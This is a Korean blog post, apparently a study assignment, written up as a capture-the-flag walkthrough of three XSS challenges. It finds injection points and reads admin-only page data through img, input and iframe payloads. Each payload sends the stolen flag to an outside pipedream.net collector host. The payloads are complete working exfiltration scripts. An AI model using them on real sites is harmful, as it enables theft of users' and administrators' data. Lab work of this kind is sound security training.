모의해킹 스터디 과제

모의해킹 스터디 11주차 과제: CTF - XSS로 데이터 추출

whydontyoushovel 2024. 12. 31. 01:19

 

XSS

개념:

   공격자가 삽입한 임의의 스크립트가 피해자의 브라우저에서 실행되게 하는 해킹 기법

종류:

   Stored XSS, Reflected XSS, DOM Based XSS

공격 시나리오:

   세션 탈취, 페이지 이동, HTML Overwrite, 키로거, 데이터 추출 등

대응:

   특수문자 HTML Entity 치환, 태그 화이트리스트 필터링, 이벤트핸들러 블랙리스트 필터링

 


목차

1) CTF 1

   - XSS 포인트 찾기

   - DOM 객체 확인

   - 스크립트 작성 및 관리자 봇에게 링크 공유

2) CTF 2

   - 제시된 사이트 탐색

   - XSS 포인트 찾기

   - DOM 객체 확인

   - 스크립트 작성 및 관리자 봇에게 링크 공유

3) CTF 3

   - XSS 포인트 찾기

   - DOM 객체 확인

   - 스크립트 작성 및 관리자 봇에게 링크 공유

 

 

 XSS 공격 데이터 추출 

 

  ♪ CTF 1               

Mypage에서 XSS가 일어난다!

 

 

1) XSS 포인트 찾기

  • 사이트에 로그인
  • 마이페이지 접속
  • 파라미터에 특수문자 삽입 후 재요청

 

문제 사이트 접속

 

로그인

 

마이페이지 접속

gaga<'"> 입력 결과
gaga"><script> 입력 결과

사용자 아이디 파라미터에 특수문자 입력 후 필터링되는지 확인
확인 결과 html 특수문자 및 스크립트 태그가 필터링되고 있지 않음.
XSS 공격 가능

 

 

 

2) DOM 객체 확인

탈취할 데이터가 표시될 위치

 

해당 위치의 HTML 태그

 

 

해당 DOM 객체에 자바스크립트로 접근

 

 

 

3) 스크립트 작성 및 관리자 봇에게 링크 공유

user=gaga">
<img src=x 
onerror="var flag=document.getElementsByName('info')[0].placeholder;
         var i=new Image();
         i.src=`https://eo2ldaaoodgixox.m.pipedream.net/?falg=${flag}`;

데이터 저장하여 공격자 서버로 전송하는 스크립트 작성.
버프 스위트의 리피터로 삽입한 스크립트 확인.

 

스크립트를 포함한 url을 관리자 봇에게 공유

서버에 기록된 요청을 확인.
flag 획득.

 

 

기존 input 태그를 활용해도 된다.

gaga" 
autofocus 
onfocus="var flag=document.getElementsByName('info')[0].placeholder;
         var i=new Image();
         i.src=`https://eo2ldaaoodgixox.m.pipedream.net/?flag=${flag}`;

증거

 

 

 

 

  ♪ CTF 2               

XSS를 이용해 중요 정보를 탈취해라!

 

1) 탐색

 

 

- 중요 정보가 있는 페이지와 똑같은 페이지

- 실제 중요 정보가 있는 페이지 (관리자만 접속할 수 있음)

- XSS 취약점이 있는 사이트

- 관리자 방문 봇

 

 

 

 

 

 

 

 

 

- 중요 정보가 있는 페이지와 똑같은 페이지

 

 

- XSS 취약점이 있는 사이트

취약점이 있는 사이트와 중요 정보가 있는 사이트가 다르게 생김.
다른 페이지에 있는 데이터를 탈취하는 방법이 필요할 듯.

 

 

 

▷ XSS 취약점이 있는 사이트:

  iframe 태그 + 데이터 탈취 스크립트

 

  mypage.html:

  중요 정보가 있는 DOM 객체 확인

 

  관리자 봇한테 보내기 전:

  악성 스크립트가 있는 페이지에 테스트해본 뒤 정상 작동하면 iframe 태그에 src를 secret.php로 지정한 뒤 XSS 취약점이 있는 페이지 링크 공유

 

 

 

2) XSS 포인트 찾기

▷ XSS 취약점이 있는 사이트

 

  목표:

alert(1) 띄우기

 

게시물 읽기 페이지)

> 특수문자 테스트

게시물 읽기 제목은 HTML Entity로 치환.
내용은 꺽쇠, 스크립트 태그 치환 안 하는 중.
XSS 공격 포인트 발견.

 

> POC 테스트

게시물 내용 수정 

 

스크립트 작동 중인 것을 확인.

 

 

 

 

3) DOM 객체 확인

▷  mypage.html

 

  목표:

중요 정보가 있는 페이지와 똑같이 생긴 페이지에서 중요 정보가 표시될 DOM 객체에 접근

 

<p class="card-text">This is a Very Secret Info.</p>
중요 정보가 표시될 객체를 확인함

 

 

> 자바스크립트로 접근하기

<script>
  document.getElementsByClassName('card-text')[1].innerHTML;
</script>
중요 정보가 표시될 객체에 접근하는 방법 발견

 

 

 

4) 스크립트 작성 및 관리자 봇에게 링크 공유

▷ XSS 취약점이 있는 사이트

 

  목표:

iframe으로 중요 정보가 포함된 페이지를 출력

해당 페이지에 접근해 중요 정보 탈취

 

 

> 스크립트 작성

<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html" id="target"></iframe>
             <!--테스트 사이트-->
<script>
  var t = document.getElementById('target');
  var info = t.contentDocument;
  var flag = info.getElementsByClassName('card-text')[1].innerHTML;
  var i = new Image();
  i.src=`https://eo2ldaaoodgixox.m.pipedream.net/?flag=${flag}`;
</script>
  • iframe으로 정보가 표시될 사이트 불러옴
  • iframe 객체를 id로 접근해 변수에 저장
  • iframe 객체의 DOM트리 정보 저장
  • DOM 트리 정보 중 탈취할 정보가 표시될 객체에 접근해 변수에 저장
  • 이미지 태그 생성
  • 중요 정보를 포함한 요청을 공격자 서버로 전송

 

이렇게 하면 작동이 안됨.

 

아마 스크립트가 실행되기 전에 iframe의 소스를 로드하지 못해서 그런 듯.

이 현상을 방지하려면 이벤트 리스너를 추가해줘야한다.

<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html" id="target"></iframe>
             <!--테스트 사이트-->
<script>     //이벤트리스너 추가
document.addEventListener('DOMContentLoaded', function(){
  var t = document.getElementById('target');
  var info = t.contentDocument;
  var flag = info.getElementsByClassName('card-text')[1].innerHTML;
  var i = new Image();
  i.src=`https://eo2ldaaoodgixox.m.pipedream.net/?flag=${flag}`;
});
</script>

 

이벤트 리스너로 DOM 요소가 모두 로드된 뒤 스크립트를 실행하도록 했더니
원하는 정보가 들어온 것을 확인

 

 

> 관리자 봇에게 공유

mypage.html을 중요 정보가 들어있는 secret.php 페이지로 변경하여 해당 게시물의 링크를 관리자 봇에게 공유

플래그 획득

 

이벤트 핸들러를 활용하는 방법도 가능함.

<iframe 
src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php" 
id="target" 
onload="var t=document.getElementById('target');
        var info=t.contentDocument;
        var flag=info.getElementsByClassName('card-text')[1].innerHTML;
        var i=new Image();
        i.src=`https://eo2ldaaoodgixox.m.pipedream.net/?flag=${flag}`">
</iframe>

증거

 

 

 

  ♪ CTF 3               

admin 계정의 마이페이지의 정보란에 flag가 숨겨져있다!

 

1) XSS 포인트 찾기

 

 

> 마이페이지

▷ mypage.php

마이페이지에서는 XSS 공격 불가

 

 

> 게시글 읽기 페이지

▷ notice_read.php

특수문자 테스트를 위해 게시글 작성

 

 

게시글 열람 결과 제목에선 특수문자 치환 중
내용에선 특수문자 그대로 사용

 

 

> POC 테스트

게시글 수정

 

열람 결과 스크립트 작동 중임을 확인
XSS 공격 포인트 발견

 

 

 

2) DOM 객체 확인

▷ mypage.php

<input name="info" type="text" id="userInfo" placeholder="Nothing Here...">
admin계정의 중요 정보가 포함될 위치 확인

 

 

<script>
  document.getElementsByName('info')[0].placeholder;
</script>
중요 정보가 표시될 객체에 접근하는 방법 발견

 

 

 

 

3) 스크립트 작성 및 관리자 봇에게 링크 공유

▷ notice_read.php

 

  목표:

iframe으로 중요 정보가 포함된 페이지를 출력

해당 페이지에 접근해 중요 정보 탈취

 

 

> 스크립트 작성

<iframe 
src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php" 
id="target" 
onload="var t=document.getElementById('target');
        var info=t.contentDocument;
        var flag=info.getElementsByName('info')[0].placeholder;
        var i=new Image();
        i.src=`https://eo2ldaaoodgixox.m.pipedream.net/?flag=${flag}`">
</iframe>
  • iframe으로 정보가 표시될 사이트 불러옴
  • iframe 객체를 id로 접근해 변수에 저장
  • iframe 객체의 DOM트리 정보 저장
  • DOM 트리 정보 중 탈취할 정보가 표시될 객체에 접근해 변수에 저장
  • 이미지 태그 생성
  • 중요 정보를 포함한 요청을 공격자 서버로 전송

내가 들어가면 나의 마이페이지가 iframe 객체로 출력되므로 nothing here라는 정보가 나오게 됨.
공격자 서버에 도착한 요청에 원하는 정보가 포함되었음을 확인.

 

 

> 관리자 봇에게 링크 공유

플래그 획득

 

 

2번 문제에서 했던 것처럼 이벤트 리스너를 적용하는 방법도 가능함.

<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php" id="target"></iframe>
<script>
document.addEventListener('DOMContentLoaded', function(){
   var t=document.getElementById('target');
   var info=t.contentDocument;
   var flag=info.getElementsByName('info')[0].placeholder;
   var i=new Image();
   i.src=`https://eo2ldaaoodgixox.m.pipedream.net/?flag=${flag}`;
});
</script>

증거

 

 

 

정리

1) Basic Script Prac

   마이페이지 / img, input 태그 활용

2) Steal Info

  게시글 읽기 페이지 - 본문 / iframe / DOMContentLoaded 이벤트 리스너 활용, onload 이벤트 핸들러 활용

3) Steal Info2

  게시글 읽기 페이지 - 본문 / iframe / onload 이벤트 핸들러 활용, DOMContentLoaded 이벤트 리스너 활용